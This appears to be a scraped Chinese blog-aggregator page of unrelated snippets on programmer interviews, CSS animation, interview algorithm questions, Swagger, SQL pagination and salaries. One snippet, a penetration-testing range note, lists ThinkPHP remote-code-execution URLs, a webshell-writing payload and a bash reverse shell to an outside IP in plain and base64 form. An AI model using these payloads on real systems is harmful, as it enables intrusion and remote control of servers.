面试

天天在公司写业务代码,面几家挂几家,感觉快废了!

谁都会走 提交于 2021-02-09 14:08:54
最近跟一些读者交流,有一位读者的经历让我记忆深刻: “有一次和大学同学聚会,和几个在 BAT 的同学聊了聊技术,发现自己在创业公司这几年,完全是吃老本的状态,没有什么机会精进技术,同样是工作了三年,和同学的差距越来越大” 我继续问他,他说真正让他受打击的是这个月的一次面试。 “面的是一个大厂,面试官问了很多问题,一大半的问题我都是一知半解,回答上来问题也是特没底。 大概回顾了这场面试:上来先是问了 Java 基础知识,jvm、字符串、集合、线程等等,这部分我还算准备的充分。第二部分开始复杂了,主要是线程、设计模式、缓存方面的问题,像是分布式、集群环境中,缓存如何刷新,怎么保持同步?我之前工作上经历的少,加上自己技术储备浅薄,到这部分时我就感觉自己快凉了。面试到最后,问了设计方案相关的,当时已经懵了,我只记得一个问题:假设服务器经常宕机,你从哪些方面去排查问题?我。。。。“ 面完后他说,觉得自己在技术上欠了很多债,最惨的是,在这之前他根本不知道。 听了这位读者的经历,于是有了今天这篇文章。很多工作了 1-3 年的Java人,想够一够 3w 月薪的岗位,但在底层技术上 却有很大的问题 : 毕业几年,表面上用过很多技术,但都没能深入学习,一年的工作经验,干了好几年。结果就是遇到实际问题时无从下手,最终还是走着普通工程师的道路,和高手的距离越来越远。 都说三年是程序员的一个坎

前端: 轻松教你使用纯css实现水波动画

半世苍凉 提交于 2021-02-09 13:54:18
css3 给我们前端开发带来了很多便利, 我们可以使用 css3 的新特性 实现各种形状和动效, 接下来笔者就来带大家介绍如何用 css3 实现 H5-Dooring编辑器 中的水波动画. 由于生成 gif 的工具比较弱(在线求好用的 mac 版 gif 录频生成工具...), 我不得不上传个原图, 大家自行脑补. 接下来我们来研究实现原理和实现方式. 动画拆解 要想用纯 css 实现曲线, 我们第一反应就是用 border-radius 这个属性, 比如说实现一个圆, 我们只需要如下设置: .circle { border-radius : 50% ; } 实现椭圆,扇形, 半椭圆这些, 只需要设置不同边的圆角即可, 如下: .circle { border-radius : 50% 100% 40% 60% ; } 以上的代码效果如下: 我们再发挥一下想象, 如果是闭合曲线, 是不是也能用同样的方法实现呢? 我们只需要将 background 换成 border , 调整 border-radius 参数即可. 接下来给大家看一下我用css画的一个图形, 各位可以参考学习一下: 当然使用相同的原理我们可以实现更多有意思的图案, 笔者这里就不一一举例了. 回归正题, 我们来看看水波动画的实现原理. 首先不规则动画我们实现了, 剩下的工作就是如何实现 波浪 和 波浪动画 ,

天天在公司写业务代码,面几家挂几家,感觉快废了!

≯℡__Kan透↙ 提交于 2021-02-09 13:35:10
最近跟一些读者交流,有一位读者的经历让我记忆深刻: “有一次和大学同学聚会,和几个在 BAT 的同学聊了聊技术,发现自己在创业公司这几年,完全是吃老本的状态,没有什么机会精进技术,同样是工作了三年,和同学的差距越来越大” 我继续问他,他说真正让他受打击的是这个月的一次面试。 “面的是一个大厂,面试官问了很多问题,一大半的问题我都是一知半解,回答上来问题也是特没底。 大概回顾了这场面试:上来先是问了 Java 基础知识,jvm、字符串、集合、线程等等,这部分我还算准备的充分。第二部分开始复杂了,主要是线程、设计模式、缓存方面的问题,像是分布式、集群环境中,缓存如何刷新,怎么保持同步?我之前工作上经历的少,加上自己技术储备浅薄,到这部分时我就感觉自己快凉了。面试到最后,问了设计方案相关的,当时已经懵了,我只记得一个问题:假设服务器经常宕机,你从哪些方面去排查问题?我。。。。“ 面完后他说,觉得自己在技术上欠了很多债,最惨的是,在这之前他根本不知道。 听了这位读者的经历,于是有了今天这篇文章。很多工作了 1-3 年的Java人,想够一够 3w 月薪的岗位,但在底层技术上 却有很大的问题 : 毕业几年,表面上用过很多技术,但都没能深入学习,一年的工作经验,干了好几年。结果就是遇到实际问题时无从下手,最终还是走着普通工程师的道路,和高手的距离越来越远。 都说三年是程序员的一个坎

美团面试真题(人数统计)

南笙酒味 提交于 2021-02-09 12:57:43
点击上方“ 五角钱的程序员 ”,选择“ 设为星标 ” 第一时间关注技术干货! ✨ 一起 学习、成长、温情的热爱生活 ✨ 作者丨BossXiang 图丨pexels 从今儿开始,带领大家一起 刷大厂面试真题 包括(字节跳动,百度,网易,美团,阿里巴巴,B站,快手,网易等大厂历年面试真题。不要太难,只求 每天能学习一个知识点就足够 ,话不多说,下面来一道2020年网易面试的一道最简单的算法题目,撸起袖子加油干。 和大家一起学习,一起成长,努力找到一份好工作。 ) /01/ 题目 小易的公司一共有n名员工, 第i个人每个月的薪酬是xi万元。 现在小易的老板向小易提了m次询问, 每次询问老板都会给出一个整数k, 小易要快速回答老板工资等于k的员工的数量。 /02/ 输入描述: 第一行,两个空格间隔的整数m和n,表示人数和提问的次数 第二行,n个用空格间隔的整数xi,表示每名员工的薪酬 接下来有m行,每行一个整数,表示老板的一次提问。 1<=m<=80000 , 1<=n<=100000 , 1<=xi<=500,000,000 输出描述: m行,每行一个整数,表示对应提问的答案 示例1 输入: 7 4 6 2 1 2 6 2 5 6 5 8 2 输出: 2 1 0 3 /03/ 步骤: 1.输入两个参数,m总人数,n提问次数 2.输入一串数组为员工薪酬,其中元素个数等于m 3.提问n次

美团的测试面试题,真的很难吗?

别等时光非礼了梦想. 提交于 2021-02-09 12:21:46
年前,我的一个粉丝留言给我说,他在面试美团的自动化测试岗的时候,不幸挂掉了。 越想越可惜,回想面试经过,好好总结了几个点,发现面试没过的主要原因是在几个关键的问题没有给到面试官想要的答案 美团的面试会问些什么问题呢?他给我的留言是这样的: 根据你的工作经历,说说你对质量保证的理解? 非关系型数据库和关系型数据库的区别,谈谈他们的优势? 在自动化方面有什么成熟的方案,有没有做过二次开发? 质量部如果需要定制化一个质量体系平台,你会考虑哪些问题? 以上问题,如果是你,你会怎么回答?【文末答案】 前几年的测试行业还是一个风口,随着不断地转行人员以及毕业的大学生疯狂地涌入软件测试行业,目前测试行业“缺口”已经基本饱和。 当然,我说的是最基础的功能测试的岗位需求已经很少了,而自动化、性能、安全乃至于以后可能出现的大数据测试、AI测试仍存在着非常多的机会。 “长江后浪推前浪,前浪死在沙滩上”,曾经一句让人会心一笑的调侃,如今变成了测试行业的真实写照。由于测试行业入门门槛低,薪资报酬高,不断有新鲜血液冲刷着测试行业的“前行者”们,给我们带来了非常大的压力。 那些入行几年,但是依然是功能测试的同学所面临的的压力可想而知。说到底,软件测试还是属于技术岗位。既然是技术岗位,那就要靠技术说话。不断掌握新的技能,提高业务能力也就变成了目前测试人迫在眉睫需要解决的问题。因此

美团测试开发岗位面试题

∥☆過路亽.° 提交于 2021-02-09 12:21:30
作者:wanfang 链接: https://www.nowcoder.com/discuss/25394?type=0&order=0&pos=6&page=1 来源:牛客网 一面: 1.自我介绍 2.抽象类和接口区别? 3.多线程的实现方式?Volatile和ThreadLocal的理解及其作用? 4.HashMap和HashTable,以及ConCurrentHashMap,区别原理? 5.写一个SQL语句,左连接和右连接? 6.手写快排 7.Http1.0和Http1.1的区别,Http和Https,SSL协议 8.Linux操作 9.介绍项目 10.找出一个数组中和为m的所有可能组合? 11.找到100亿个URL中重复的URL? 12.为什么来做测试开发,对于测试开发的理解? 13.场景题:假如测试说程序有bug,而开发偏偏说没有,该怎么处理?(一脸懵逼,当时我就反问,你们是不是经常遇到这种操蛋的问题) 二面: 1.安卓的基本架构,四大组件 2.洗牌,如何保证每张牌经过洗牌后,不在现在的位置上 3.Java异常处理机制 4.多态怎么体现的 5.设计一个测试计划,包括测试进度和所需要人员 6.你的梦想是什么? 来源: oschina 链接: https://my.oschina.net/u/4398626/blog/3929042

【接口测试】接口文档神器swagger

依然范特西╮ 提交于 2021-02-09 11:35:32
点击上方蓝色“ 程序员一凡 ”,选择“设为星标” 主页点击“ 领取资料 ”获取整理好的 学习资源 大家好,我是一凡,来自微信公众号程序员一凡。 今天给大家分享接口测试以及接口文档一个神器叫做swagger 大家在之前有没有听说过接口文档工具swagger,在公司有没有用过?如果有接触过的伙伴可以在评论区打下它的名字(swagger或者打一个1)没有用过的同学可以打一个0.这个是我们在 企业中现在比较主流 的接口文档工具。 我们今天来认识一下swagger! Swagger介绍 Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化RESTful风格的Web服务。Swagger让部署管理和使用功能强大的API变得非常简单。 Swagger是一种标准的规范,通过这套规范,你只需要按照它的规范去定义接口及接口相关的信息。再通过Swagger衍生出来的一系列项目和工具,就可以做到生成各种格式的接口文档,生成多种语言的客户端和服务端的代码,以及在线接口调试页面等等。这样,如果按照新的开发模式,在开发新版本或者迭代版本的时候,只需要更新Swagger描述文件,就可以自动生成接口文档和客户端服务端代码,做到调用端代码、服务端代码以及接口文档的一致性。 接口测试之前的准备 工具/框架 首先你要思考用什么来做接口测试,比如我们用什么工具去做接口测试

【来自BMH的面试靶场】2021-02-07小记录

我只是一个虾纸丫 提交于 2021-02-09 11:02:46
一 Thinkphp-5.1.30 /index.php?s=index/think\app/invokefunction&function=call _user_ func_array&vars[ 0 ]=system&vars[ 1 ][ ]=whoami /index.php/? s = index /\think\template\driver\file/ write &cacheFile=kanhayou.php&content=%3C?php%C2%A0@eval($_POST[kanhayou]);?%3E 二 Shiro-反序列化 出网验证: https: //github.com/sv3nbeast/ShiroScan python3 shiro_rce.py http: //xx.xx.70.24:40817 "ping cqehyd.dnslog.cn" 准备工作: bash -i >& /dev/tcp/123.123.151.3/8003 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTUxLjMvODA123123}|{base64,-d}|{bash,-i} nc -lvvp 8003 利用: https: //github.com/insightglacier/Shiro

一张900w的数据表,怎么把原先要花费17s执行的SQL优化到300ms?

与世无争的帅哥 提交于 2021-02-09 09:03:35
点击上方“ 方志朋 ”,选择“ 设为星标 ” 回复” 666 “获取新整理的面试文章 作者:Muscleape www.jianshu.com/p/0768ebc4e28d 有一张财务流水表,未分库分表,目前的数据量为9555695,分页查询使用到了limit,优化之前的查询耗时16 s 938 ms (execution: 16 s 831 ms, fetching: 107 ms),按照下文的方式调整SQL后,耗时347 ms (execution: 163 ms, fetching: 184 ms); 操作:查询条件放到子查询中,子查询只查主键ID,然后使用子查询中确定的主键关联查询其他的属性字段; 原理:减少回表操作; -- 优化前SQL SELECT 各种字段 FROM `table_name` WHERE 各种条件 LIMIT 0 , 10 ; -- 优化后SQL SELECT 各种字段 FROM `table_name` main_tale RIGHT JOIN ( SELECT 子查询只查主键 FROM `table_name` WHERE 各种条件 LIMIT 0 , 10 ; ) temp_table ON temp_table.主键 = main_table.主键 一,前言 首先说明一下MySQL的版本: mysql> select version(); +

2020 年 12 月全国招收程序员 39 W人,平均薪资是……

随声附和 提交于 2021-02-09 08:22:22
2020 年对于很多人来说,可能会成为此生最深刻的回忆之一。一场突如其来的疫情,让我们的工作、生活变得略加艰难。 一转眼,2020 年已经在和我们“告别”,今天让我们来看看 2020 年最后 1 个月程序员工资情况,和你相差多少? 01 从下图,我们可以看到 2020 年 12 月全国招聘程序员 39 W 人。2020 年 12 月全国程序员平均工资 14222 元 ,工资中位数 12500 元,其中 96% 的人的工资介于 3250 元到 62500 元。 可见,相较于其他行业,程序员的薪资是真的高呀~ 不过,在程序员群体内部,薪资差异其实也很大。 根据调查结果显示,程序员的平均年薪达到 15 万以上。年薪在 5-10 万的程序员占比为 19.4%,年薪在 10-15 万的程序员占比为 21.6%,年薪在 15-20 万的程序员占比为 15.8%,年薪在 30 万 及以上的程序员占比为 15.2%。 同为程序员,薪资却有极大的差距。 年薪在30万以上的程序员,其实只占很少一部分。 02 在职场中打拼多年,我看见过刚毕业就年薪 50 万+的程序员,也和薪资被“倒挂”的老程序员一起交流怎样才能摆脱窘境…… 说来说去,想要获得高薪,还是需要不断提高自身技能来满足市场所需。 最近,我就在前端开发工程师的交流群里,就看到有人在吐槽: 如果你也有这样的疑惑,大概率你还处在初中级前端的阶段